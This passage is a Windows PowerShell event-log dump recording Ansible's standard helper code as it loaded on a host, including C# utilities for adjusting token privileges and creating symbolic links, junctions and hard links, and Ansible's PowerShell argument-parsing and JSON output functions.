if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 6ce90b35-f70c-4a18-a2e8-8924682c7650
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 57036c42-2401-4159-9063-2ca75869f994
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 36
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2101 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3388 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:49 AM | 61e00a24-ee3b-0005-590b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 6ce90b35-f70c-4a18-a2e8-8924682c7650
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 57036c42-2401-4159-9063-2ca75869f994
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2100 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3388 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:49 AM | 61e00a24-ee3b-0004-ea0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
